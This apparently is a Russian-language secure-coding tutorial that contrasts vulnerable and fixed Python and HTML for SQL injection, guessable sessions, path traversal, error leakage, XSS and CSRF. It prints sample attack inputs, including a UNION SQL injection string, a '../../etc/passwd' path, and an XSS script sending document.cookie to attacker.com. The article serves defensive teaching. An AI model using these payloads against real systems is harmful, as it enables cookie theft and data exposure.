1764791490996.webp

В каком-то смысле любой код делится на две категории: тот, который просто работает, и тот, который работает безопасно. Первый радует на демо и в тестовой среде. Второй продолжает радовать, когда в логах неожиданно не появляются странные запросы, а в базу не стучатся с анонимных адресов.

Безопасное программирование - это подход, при котором разработчик заранее предполагает, что внешнему миру доверять нельзя: любой ввод может быть вредоносным, любой запрос - поддельным, а любая ошибка - подсказкой атакующему, как именно устроено приложение. Такой взгляд требует небольшой смены мышления, но окупается тем, что однажды написанный код не превращается в источник постоянных инцидентов.

В этой главе разберем типичные ошибки, которые чаще всего делают неопытные разработчики, и посмотрим, как переписать код так, чтобы он стал заметно безопаснее.
схема1.webp

Инъекции: когда данные становятся кодом

Инъекция (injection) - это ситуация, когда данные, которые приложение считает обычным вводом, превращаются в часть исполняемого кода или команды. Самый известный пример - SQL‑инъекция: вместо логина пользователь передает фрагмент SQL, и запрос к базе внезапно меняет смысл.

Представим простое приложение, которое ищет пользователя по имени.

Небезопасно:
Python:
username = input("Имя пользователя: ")
query = f"SELECT id, username, password FROM users WHERE username = '{username}'"
print(f" Выполняемый запрос: {query}")
cursor.execute(query)
Ввод атаки:
SQL:
admin' UNION SELECT NULL, version(), NULL –
Что происходит:
  • Выбирается пользователь admin
  • Оператор UNION добавляет к результату запрос, который возвращает версию PostgreSQL (например: PostgreSQL 15.4)
  • -- начинает комментарий, из-за которого остаток строки игнорируется
  • Атакующий получает информацию о версии базы данных для подбора дальнейших эксплойтов и атак
Результат запроса:
SQL:
SELECT id, username, password FROM users WHERE username = 'admin' UNION SELECT NULL, version(), NULL --'
Безопасно:
Python:
username = input("Имя пользователя: ")
query = "SELECT id, username, password FROM users WHERE username = %s"
print(f" Шаблон запроса: {query}")
print(f" Параметр: '{username}'")
cursor.execute(query, (username,))

Параметризация psycopg2 экранирует кавычки и передаёт значение как строку, а не как SQL-код.

Сессии, которые легко угадать

Сессия - это способ “запомнить” пользователя между запросами. Сервер выдает идентификатор сессии, а клиент отправляет его с каждым запросом. Если идентификатор легко угадать или перебрать, злоумышленник может “подобрать” чужую сессию и действовать от имени жертвы.

Небезопасно:
Python:
# Идентификатор строится на основе имени пользователя
session_id = f"session-{user.username}"
sessions[session_id] = user.id
Зная схему и список логинов, можно попытаться войти без пароля, просто подбирая идентификатор.

Безопасно:
Python:
import secrets
session_id = secrets.token_hex(32) # Случайный 256-битный токен
sessions[session_id] = user.id

Функция secrets.token_hex использует криптографически стойкий генератор случайных чисел. Такой токен практически невозможно угадать перебором при корректной длине. В реальных веб‑приложениях его дополнительно передают через защищенный канал (HTTPS) и хранят в cookie с флагами HttpOnly и Secure, чтобы минимизировать риск кражи через JavaScript или незашифрованный трафик.

Работа с файлами без ограничений

Когда приложение принимает имя файла от пользователя и открывает его “как есть”, появляется классическая уязвимость path traversal - попытка выйти за пределы разрешенной директории с помощью относительных путей вроде ../.

Небезопасно:
Python:
filename = input("Имя файла: ") # Атакующий вводит: ../../etc/passwd
with open(filename, "r", encoding="utf-8") as f:
data = f.read()

Система послушно откроет системный файл, если у процесса есть права.

Безопасно:
Python:
import os
BASE_DIR = "/var/app/uploads"
raw_name = input("Имя файла: ")
filename = os.path.basename(raw_name) # Отбрасываем путь, оставляем только имя
filepath = os.path.join(BASE_DIR, filename)
with open(filepath, "r", encoding="utf-8") as f:
data = f.read()

Здесь путь формируется на сервере, а не доверяется целиком входным данным. Пользователь может влиять только на имя файла, лежащего в заранее определенной директории. Такой подход стоит дополнять проверкой допустимых расширений и запретом выполнения загруженных файлов как кода.

Traceback наружу, ведущий к утечке внутренней информации

Во время разработки приятно видеть полноценный traceback и точный текст исключения прямо в браузере или консоли. Но в продакшене такая откровенность опасна: стек вызовов, имена классов, таблиц и файлов дают атакующему карту устройства системы и облегчают поиск уязвимостей.

Небезопасно:
Python:
try:
process_request()
except Exception as e:
print(f"Ошибка: {e}") # Пользователь видит внутренний текст исключения
Безопасно:

Python:
import logging
logger = logging.getLogger(__name__)
try:
process_request()
except Exception:
logger.exception("Ошибка при обработке запроса") # Полные детали - в логах
print("Произошла внутренняя ошибка. Попробуйте позже.")

Второй вариант разделяет “публичный” интерфейс ошибки и техническую информацию. Пользователь получает нейтральное сообщение, а разработчик - достаточно данных в логах для диагностики. Такой подход хорошо сочетается с централизованными системами логирования и мониторинга - анализировать инциденты проще, а наружу не утекают лишние подробности.
схема2.webp

XSS: пользовательский текст, который выполняется как скрипт

XSS (Cross-Site Scripting) - один из ключевых аспектов безопасной разработки веб‑приложений. Уязвимость возникает, когда данные, полученные от пользователя, выводятся в HTML или JavaScript‑контекст без экранирования. В этом случае атакующий может внедрить фрагмент JavaScript-кода, который выполнится в браузере других пользователей.

Небезопасно:
XML:
<!-- Шаблон вывода комментария -->
<p>Комментарий: {{ comment }}</p>
Если в качестве комментария сохранить:
XML:
<script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
то при просмотре страницы браузер выполнит этот код.

Безопасно:
XML:
<p>Комментарий: {{ comment|e }}</p>
Фильтр |e (escape) превращает специальные символы (<, >, & и т. д.) в безопасные HTML‑сущности, и браузер отображает строку как текст, а не как код. Большинство современных шаблонизаторов используют экранирование по умолчанию, но важно не отключать его без необходимости и внимательно относиться к любому “сырому” HTML.

Особенно осторожным надо быть в JavaScript-контексте.

Небезопасно:
XML:
<script>
const msg = "{{ comment }}"; // comment может “закрыть” строку и вставить свой код
</script>

Безопаснее либо использовать специализированное экранирование для JavaScript‑строк, либо передавать данные через безопасный канал (например, data-атрибут) и считывать их через DOM‑API, а не прямую строковую подстановку.

CSRF: запрос от пользователя, которого никто не спрашивал

CSRF (Cross-Site Request Forgery) - атака, при которой браузер жертвы отправляет запрос на доверенный сайт, не осознавая, что действие инициировано сторонней страницей. Поскольку браузер автоматически подставляет cookie сессии, сервер видит запрос как легитимный от аутентифицированного пользователя.

Вот как может выглядеть простая форма перевода без защиты:

Небезопасно:
XML:
<form method="post" action="/transfer">
<input type="text" name="to">
<input type="number" name="amount">
<button type="submit">Перевести</button>
</form>

Если приложение не проверяет, откуда пришел запрос, злоумышленник может разместить на своем сайте скрытую форму с тем же action и полями. Как только жертва, уже залогинившаяся в банке, откроет эту страницу, браузер отправит запрос с ее cookie.

Безопасно:
XML:
<form method="post" action="/transfer">
<input type="text" name="to">
<input type="number" name="amount">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<button type="submit">Перевести</button>
</form>

И проверка на сервере:
Python:
def transfer(request):
token = request.form.get("csrf_token")
if not verify_csrf(token, request.user):
raise PermissionError("Неверный или устаревший CSRF-токен")

CSRF‑токен - это уникальное значение, связанное с сессией и/или конкретной формой. Его нельзя угадать или сгенерировать с чужого домена, поэтому подделанный запрос будет отклонен.

Мышление безопасного разработчика

Каждая из этих ошибок — точка входа для пентестера. Чтобы понимать, как именно пентестеры ищут такие дыры, рекомендую статью "Как устроены сайты: веб-технологии глазами пентестера" [читать →].

Хорошая новость в том, что большинство мер защиты не требуют радикальной перестройки мышления. Это, скорее, набор дисциплин и привычек:
  • всегда разделять код и данные (параметризованные запросы, экранирование);
  • проверять не только факт входа, но и права на действие;
  • хранить секреты вне исходников;
  • использовать стойкие генераторы токенов и ограничивать срок их жизни;
  • относиться к пользовательскому вводу и файловой системе как к потенциально опасным зонам;
  • не раскрывать внутреннюю структуру системы в сообщениях об ошибках;
  • защищать веб‑интерфейсы от XSS и CSRF с помощью стандартных механизмов.
схема3.webp

Со временем такие решения перестают восприниматься как “дополнительные сложности” и становятся частью нормального проектирования. В этот момент код начинает относиться к первой категории - не просто работающего, а действительно надежного и безопасного.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы